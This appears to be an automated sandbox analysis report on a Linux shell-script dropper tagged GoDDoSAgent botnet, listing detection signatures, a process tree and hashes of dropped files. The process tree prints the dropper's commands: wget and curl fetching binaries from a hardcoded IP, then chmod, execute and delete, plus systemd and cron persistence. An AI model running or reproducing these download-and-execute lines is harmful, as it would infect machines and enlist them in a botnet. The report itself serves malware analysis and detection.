Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/10/2026, 18:28

General

  • Target
    bins.sh
  • Size 2KB
  • Sample261014-w4emrag161
  • SHA256 fb6d7ad4169107a4d2181b4a81fc528d29a3e221665f5301823705a5e8781167
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: GoDDoSAgent

    GoDDoSAgent is a Linux botnet written in GoLang.

  • Detects GoDDoSAgent 3 IoCs
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Write file to user bin folder 2 IoCs
  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 22 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /usr/bin/wget
      wget http://5.83.136.39:5001/x86 -O x86
      2⤵
      • Writes file to tmp directory
      PID:645
    • /bin/chmod
      chmod +x x86
      2⤵
      • File and Directory Permissions Modification
      PID:671
    • /tmp/x86
      ./x86
      2⤵
        PID:672
      • /bin/rm
        rm -f x86
        2⤵
          PID:674
        • /usr/bin/curl
          curl -O http://5.83.136.39:5001/x86
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:675
        • /bin/chmod
          chmod +x x86
          2⤵
          • File and Directory Permissions Modification
          PID:676
        • /tmp/x86
          ./x86
          2⤵
            PID:677
          • /bin/rm
            rm -f x86
            2⤵
              PID:679
            • /usr/bin/wget
              wget http://5.83.136.39:5001/i386 -O i386
              2⤵
              • Writes file to tmp directory
              PID:681
            • /bin/chmod
              chmod +x i386
              2⤵
              • File and Directory Permissions Modification
              PID:710
            • /tmp/i386
              ./i386
              2⤵
                PID:711
              • /bin/rm
                rm -f i386
                2⤵
                  PID:716
                • /usr/bin/curl
                  curl -O http://5.83.136.39:5001/i386
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:718
                • /bin/chmod
                  chmod +x i386
                  2⤵
                  • File and Directory Permissions Modification
                  PID:732
                • /tmp/i386
                  ./i386
                  2⤵
                    PID:733
                  • /bin/rm
                    rm -f i386
                    2⤵
                      PID:735
                    • /usr/bin/wget
                      wget http://5.83.136.39:5001/amd64 -O amd64
                      2⤵
                      • Writes file to tmp directory
                      PID:736
                    • /bin/chmod
                      chmod +x amd64
                      2⤵
                      • File and Directory Permissions Modification
                      PID:745
                    • /tmp/amd64
                      ./amd64
                      2⤵
                        PID:747
                      • /bin/rm
                        rm -f amd64
                        2⤵
                          PID:750
                        • /usr/bin/curl
                          curl -O http://5.83.136.39:5001/amd64
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:751
                        • /bin/chmod
                          chmod +x amd64
                          2⤵
                          • File and Directory Permissions Modification
                          PID:772
                        • /tmp/amd64
                          ./amd64
                          2⤵
                            PID:773
                          • /bin/rm
                            rm -f amd64
                            2⤵
                              PID:775
                            • /usr/bin/wget
                              wget http://5.83.136.39:5001/arm -O arm
                              2⤵
                              • Writes file to tmp directory
                              PID:776
                            • /bin/chmod
                              chmod +x arm
                              2⤵
                              • File and Directory Permissions Modification
                              PID:777
                            • /tmp/arm
                              ./arm
                              2⤵
                              • Modifies systemd
                              • Write file to user bin folder
                              • Enumerates kernel/hardware configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:778
                              • /bin/systemctl
                                systemctl daemon-reload
                                3⤵
                                • Enumerates kernel/hardware configuration
                                • Reads runtime system information
                                PID:782
                              • /bin/systemctl
                                systemctl enable sysd
                                3⤵
                                • Enumerates kernel/hardware configuration
                                • Reads runtime system information
                                PID:795
                              • /bin/systemctl
                                systemctl start sysd
                                3⤵
                                • Enumerates kernel/hardware configuration
                                • Reads runtime system information
                                PID:808
                              • /usr/bin/crontab
                                crontab -l
                                3⤵
                                • Reads runtime system information
                                PID:810
                              • /usr/bin/crontab
                                crontab /tmp/cron_tmp
                                3⤵
                                • Creates/modifies Cron job
                                • Reads runtime system information
                                PID:813

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                sysd.service

                                • Path /etc/systemd/system/sysd.service
                                • Size 175B
                                • SHA256 cfad0df157c997fe75b54580ef544beb90f6275851878e1cf3b9a7749e3fab40
                                • MD5 SHA1 SHA512 TLSH

                                amd64

                                • Path /tmp/amd64
                                • Size 4.8MB
                                • SHA256 af22e18ac7f1dcd06e7e6d3c3f4ebf1d8add848f8e172e96d226a65431004806
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                arm

                                • Path /tmp/arm
                                • Size 4.7MB
                                • SHA256 252156d9c2b892e176aab43351277cc7ebaf07f6d3e97d5ce50011c760139bb4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                cron_tmp

                                • Path /tmp/cron_tmp
                                • Size 41B
                                • SHA256 3a13b88885017f3318032aef9d0b829caf810c14f7dfa8440848b458499d0edf
                                • MD5 SHA1 SHA512

                                x86

                                • Path /tmp/x86
                                • Size 4.7MB
                                • SHA256 f2b142128ec6ea6b017ec15cace0f6f1a4428a7ac9c93899cda06a0201f29df1
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                tmp.9qC4nf

                                • Path /var/spool/cron/crontabs/tmp.9qC4nf
                                • Size 228B
                                • SHA256 90583d95b9a4f77cadd57eb04527900662424cb97fc0b4cae84be372ff3bfeac
                                • MD5 SHA1 SHA512 TLSH